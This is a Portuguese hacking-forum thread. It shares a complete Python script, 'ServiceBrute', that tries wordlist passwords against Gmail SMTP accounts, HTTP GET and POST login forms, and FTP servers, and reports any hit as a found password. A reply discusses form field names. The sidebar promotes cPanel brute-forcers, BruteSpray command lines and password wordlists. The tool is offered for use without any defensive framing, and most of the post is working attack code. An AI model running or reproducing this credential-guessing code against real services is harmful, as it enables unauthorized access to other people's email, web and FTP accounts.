Ir para conteúdo
FaceOs

ServiceBrute - Ferramenta para ataques de brute-force em serviços SMTP, FTP e HTTP

Recommended Posts

         ServiceBrute - Ferramenta para ataques de brute-force em serviços SMTP, FTP e HTTP

Como eu não consigo passar um dia sem escrever código, hoje não seria diferente :v 

Criei esse simples código para ataques de brute-force em serviços SMTP (G-Mail), FTP e HTTP.

Segue o código:

#!/usr/bin/python
# -*- coding: cp1252 -*-

from ftplib import FTP
import smtplib
import sys
import os
import platform
import ftplib

try:
    import colorama
    from colorama import Fore, Back, Style
except ImportError:
    print "ERRO! - Necessario a biblioteca COLORAMA. \n Instale com - easy_install colorama"

try:
    import requests
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
except ImportError:
    print Fore.RED+"ERRO! - Necessario a biblioteca REQUESTS. \n Instale com - easy_install requests"

colorama.init()

so = platform.system()
if(so=="Windows"):
    os.system("cls")
else:
    os.system("clear")

try:
    def help():
        ajuda = """
                                HELP MODULE - ServiceBrute
servicebrute.py --form 1 --email <target_email> --wordlist <passfile.txt>
Example:
servicebrute.py --form 1 --email [email protected] --wordlist passwordfile.txt

servicebrute.py --form 2 --user <target_user> --wordlist <passfile.txt> --target <target_url>
Example:
servicebrute.py --form 2 --user admin --wordlist passwordfile.txt --target http://www.target.com

servicebrute.py --form 3 --user <target_user> --wordlist <passsfile.txt> --target <target_url>
Example:
servicebrute.py --form 3 --user admin --wordlist passwordfile.txt --target http://www.target.com

servicebrute.py --form 4 --user <target_user> --wordlist <passfile.txt> --target <target_url>
Example:
servicebrute.py --form 4 --user admin --wordlist passwordfile.txt --target ftp.target.com
        
"""
        print(Fore.CYAN+ajuda)
        
    x = sys.argv
    
    if x[1] == "--form":
        forma = sys.argv[2]
        if forma == "1":
            if x[3] == "--email":
                email = sys.argv[4]
                if x[5] == "--wordlist":
                    wordlist = sys.argv[6]
                    wordlist = open(wordlist, "r")
        
                    smtp = smtplib.SMTP("smtp.gmail.com", 587)
                    smtp.ehlo()
                    smtp.starttls()
        
                    for senhas in wordlist:
                        try:
                                    smtp.login(email, senhas)
                                    print Fore.GREEN+"Senha encontrada : \n E-mail - %s \n Senha - %s"%(email,senhas)
                                    break
                        except smtplib.SMTPAuthenticationError:
                                       print Fore.RED+"Tentando login : \n E-MAIL - %s \n SENHA - %s"%(email,senhas)
    if x[1] == "--form":
        forma = sys.argv[2]
        if forma == "2":
            if x[3] == "--user":
                user = sys.argv[4]
                if x[5] == "--wordlist":
                    wordlist = sys.argv[6]
                    senha = open(wordlist, "r")
                    if x[7] == "--target":
                        target = sys.argv[8]
                        for senhas in senha:
                            r = requests.get(target+"/login.php?user="+user+"&password="+senhas)
                            if r.status_code == 302:
                                print Fore.GREEN+"[!] SENHA ENCONTRADA : \n Usuario: %s - \n Password: %s"%(user,senhas)
                            else:
                                print Fore.RED+"Tentando login : \n Usuario: %s - \n Password: %s"%(user,senhas)

    if x[1] == "--form":
        forma = sys.argv[2]
        if forma == "3":
            if x[3] == "--user":
                user = sys.argv[4]
                if x[5] == "--wordlist":
                    wordlist = sys.argv[6]
                    senha = open(wordlist, "r")
                    if x[7] == "--target":
                        target = sys.argv[8]
                        form_user = (str(raw_input(Fore.GREEN+"Formulario de usuario: ")))
                        form_pass = (str(raw_input(Fore.GREEN+"Formulario de senhas: ")))
                        for senhas in senha:
                            requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
                            payload = { form_user : user, form_pass : senhas }
                            r = requests.post(target, data=payload, verify=False)
                            if r.status_code == 302:
                                print Fore.GREEN+"[!] SENHA ENCONTRADA : \n Usuario: %s - \n Password: %s"%(user,senhas)
                                break
                            else:
                                print Fore.RED+"Tentando login : \n Usuario: %s - \n Password: %s"%(user,senhas)

    if x[1] == "--form":
        forma = sys.argv[2]
        if forma == "4":
            if x[3] == "--user":
                user = sys.argv[4]
                if x[5] == "--wordlist":
                    wordlist = sys.argv[6]
                    senha = open(wordlist, "r")
                    if x[7] == "--target":
                        target = sys.argv[8]
                        for senhas in senha:
                            try:
                                ftp = FTP(target)
                                ftp.login(user,senhas)
                                print Fore.GREEN+"[!] SENHA ENCONTRADA : \n Usuario: %s - \n Password: %s"%(user,senhas)
                            except ftplib.error_perm:
                                print Fore.RED+"Tentando login : \n Usuario: %s - \n Password: %s"%(user,senhas)

    if x[1] == "--help":
        help()
        
except IndexError:
    banner = """
                                                                                
 )\ )                                  (                 )       
(()/(   (   (     )   (          (   ( )\  (      (   ( /(   (   
 /(_)) ))\  )(   /((  )\   (    ))\  )((_) )(    ))\  )\()) ))\  
(_))  /((_)(()\ (_))\((_)  )\  /((_)((_)_ (()\  /((_)(_))/ /((_) 
/ __|(_))   ((_)_)((_)(_) ((_)(_))   | _ ) ((_)(_))( | |_ (_))   
\__ \/ -_) | '_|\ V / | |/ _| / -_)  | _ \| '_|| || ||  _|/ -_)  
|___/\___| |_|   \_/  |_|\__| \___|  |___/|_|   \_,_| \__|\___|  
                                                                 
           Ferramenta para bruteforce em servicos
              Desenvolvido por Derick Santos 
                Conheça a FSociety Brasil:
                https://fsocietybrasil.org\n
          servicebrute.py --help para mais funções\n
                - [1] G-Mail BRUTEFORCE
                - [2] HTTP-GET BRUTEFORCE
                - [3] HTTP-POST BRUTEFORCE
                - [4] FTP BRUTEFORCE"""
    print(Fore.YELLOW+banner)
except KeyboardInterrupt:
    print Fore.GREEN+"Até mais..."

 

Editado por FaceOs
Esqueci de algumas funções :P
  • Curtir 1
  • Amei 1

Compartilhar este post


Link para o post
Compartilhar em outros sites

No caso do método HTTP Post, seria melhor a análise da tag form, não? No caso, o valor vai depender do valor atribuído ao atributo name?

Do tipo:

<form action="" method="post">
    <input type="text" name="user">
    <input type="password" name="pass">
    <input type="submit">
</form>

O programa ainda continua viável, nesse caso, mesmo os correspondentes para usuário e senha estando trocados?

Editado por Lord13

Compartilhar este post


Link para o post
Compartilhar em outros sites

Crie uma conta ou entre para comentar

Você precisar ser um membro para fazer um comentário

Criar uma conta

Crie uma nova conta em nossa comunidade. É fácil!

Crie uma nova conta

Entrar

Já tem uma conta? Faça o login.

Entrar Agora



  • Conteúdo Similar

    • Por O_Bardo
      (Primeiramente, não sei se isso está na seção correta, peço compreensão, sou novo aqui)
      Estou estudando sobre quebra de senhas, offline e online e estou fazendo um questionário, porém sei que estou errando as respostas e não sei quais.
      Será que alguém pode me dar uma mãozinha ?
       
      Marque as alternativas corretas:
      1)
      a. A ferramenta Hashcat utiliza o Multi-Threading, logo utiliza sempre múltiplas requisições partindo da memória
      b. O hashcat não utiliza multi-threading, pois não é possível testar duas senhas ao mesmo tempo
      c. O Hashcat trabalha no limite do processamento e não é possível melhorar seu desempenho.
      d. O Hashcat utiliza Multi-Threading, logo é possível controlar o número de tarefas simultâneas durante o processo de quebra de senhas.
       
      2)
      a. Para utilizar múltiplas wordlists no Hashcat é necessário usar a opção Combination
      b. O Hashcat é Multi Hash, podendo processar até 100 hashs simultâneas
      c. O brute force do Nmap possui melhor desempenho do que o hashcat por usar script em Lua
      d. As regras do hashcat não são compatíveis com o John The Ripper
       
      3) Hash e criptografia são a mesma coisa ?
      a. Sim, o hash criptografa dados
      b. Não, pois o hash é baseado no conceito da integridade.
      c. Não, criptografia sempre tem uma chave pública
      d. Sim, toda criptografia é baseada em hash
       
      4) Utilizar Rainbow Tables é um método mais rápido para quebrar senhas hash, porém, é necessário espaço para armazenar esse banco de dados.
      a. Sim
      b. Não
       
      5) Identifique o erro: patator ssh_login host=192.168.1.256 user=FILE0 password=FILE1 0=u.txt 1=s.txt -x ignore:mesg='failed.'
      a. O arquivo FILE0 e FILE1 não possui .txt no final
      b. O IP está incorreto
      c. Faltou a palavra Authentication em ignore:mesg='failed.'
      d. O erro está na opção -x, ela serve para excluir
       
      Minhas respostas foram: 1d, 2a, 3b, 4a, 5c
      Quais estão erradas ?
      Grato
    • Por Otsu
      Hoje vim trazer uma ferramenta para te ajudar a burlar o painel do cpanel.  (ferramenta não é minha, achei por ai) 
      obs: Você vai precisar do perl para abri-lo
      Faça o download da ferramenta aqui. Feito isso extraia o arquivo para algum lugar ae
      Para abrir: perl cp-brute.pl
      Como usar: 
      cpanel.pl [HOST] [User] [PORT][Wordlist] [Save Wordlist]
      Exemplo :
      cpanel.pl localhost admin 2082 Wordlist.lst(sua wordlist)  cracked.txt

    • Por Caio2323
      Se voce pode me ajudar, e se interressa sobre tais coisas aqui está um video meu para me dar uma força obrigado !
       
    • Por c0dEND
      BruteSpray ataque de força bruta em massa com nmap, com BruteSpray você e capaz de fazer ataques de força bruta utilizando as saidas do nmap GNMAP / XML e atacando com força bruta os serviços com senhas padrão,
       
       
      para usar uma worlist propria ou baixada da internet com o BruteSpray use o comando abaixo
       
      python brutespray.py --file nmap.gnmap -U /usr/share/wordlist/user.txt -P /usr/share/wordlist/pass.txt --threads 5 --hosts 5 
       
      brutforce em serviços específicos como ftp, telnet e outros use o comando abaixo  
       
      python brutespray.py --file nmap.gnmap --service ftp,ssh,telnet --threads 5 --hosts 5
       
      brutforce com credencias especificas use o comando abaixo
       
      python brutespray.py --file nmap.gnmap -u admin -p password --threads 5 --hosts 5
       
      continua depois de ter achado a senha
       
      python brutespray.py --file nmap.gnmap --threads 5 --hosts 5 -c
       
      usando o output do nmap
       
      python brutespray.py --file nmap.xml --threads 5 --hosts 5
       
      mode interativo
       
      python brutespray.py --file nmap.xml -i
    • Por XSyther
      Site com lista com várias WordLists Para você usar nas suas peripécias de brute-force <3

      https://github.com/danielmiessler/SecLists/tree/master/Passwords
       
×

Informação Importante

Ao usar este site, você concorda com nossos Termos de Uso.